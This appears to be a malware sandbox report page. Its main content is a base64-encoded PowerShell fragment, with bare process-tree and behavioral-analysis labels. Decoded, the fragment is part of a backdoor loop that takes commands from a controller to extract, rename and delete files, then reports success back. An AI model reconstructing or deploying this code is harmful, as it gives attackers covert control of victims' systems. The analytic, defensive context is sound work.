JABDAGgAYQByAEEAcgByAGEAeQAgAD0AJABRAEIAaQBhAC4AUwBwAGwAaQB0ACgAJwB8AHwAJwApADsAaQBmACAAKAAkAEMAaABhAHIAQQByAHIAYQB5AC4ATABlAG4AZwB0AGgAIAAtAGUAcQAgADMAKQB7AEUAeABwAGEAbgBkAC0AQQByAGMAaABpAHYAZQAgACQAQwBoAGEAcgBBAHIAcgBhAHkAWwAwAF0AIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMgBdADsAJABYAFQAbABsACAAPQAgACcAUgA9ACcAIAArACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACcAbwBrACcAKQApADsAVQBsAFUAbQBMACAAJABaAFoAUwBaAGQAYgB1AE4AUgBPAHUAIAAkAFgAVABsAGwAOwB9AH0AaQBmACAAKAAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHIAZQBuAGEAbQBlADoAJwApACkAewAkAFEAQgBpAGEAPQAkAEUAdQB4AGYAUAByAHYAdgB6AEYAdQBWAEIALgBTAHUAYgBTAHQAcgBpAG4AZwAoADcAKQA7ACQAQwBoAGEAcgBBAHIAcgBhAHkAIAA9ACQAUQBCAGkAYQAuAFMAcABsAGkAdAAoACcAfAB8ACcAKQA7AGkAZgAgACgAJABDAGgAYQByAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAzACkAewBSAGUAbgBhAG0AZQAtAEkAdABlAG0AIAAkAEMAaABhAHIAQQByAHIAYQB5AFsAMABdACAAJABDAGgAYQByAEEAcgByAGEAeQBbADIAXQA7ACQAWABUAGwAbAAgAD0AIAAnAFIAPQAnACAAKwAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnAG8AawAnACkAKQA7AFUAbABVAG0ATAAgACQAWgBaAFMAWgBkAGIAdQBOAFIATwB1ACAAJABYAFQAbABsADsAfQB9AGkAZgAgACgAJABFAHUAeABmAFAAcgB2AHYAegBGAHUAVgBCAC4AQwBvAG4AdABhAGkAbgBzACgAJwBkAGUAbAA6ACcAKQApAHsAJABRAEIAaQBhAD0AJABFAHUAeABmAFAAcgB2AHYAegBGAHUAVgBCAC4AUwB1AGIAUwB0AHIAaQBuAGcAKAA0ACkAOwBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABRAEIAaQBhACkAewBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAFEAQgBpAGEAOwAkAFgAVABsAGwAIAA9ACAAJwBSAD0AJwAgACsAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJwBvAGsAJwApACkAOwBVAGwAVQBtAEwAIAAkAFoAWgBTAFoAZABiAHUATgBSAE8AdQAgACQAWABUAGwAbAA7AH0AfQB9AH0AfQAgAEMAYQB0AGMAaAB7AH0AUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AdwBoAGkAbABlACgAJAB0AHIAdQBlACAALQBlAHEAIAAkAHQAcgB1AGUAKQA=
      3048

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents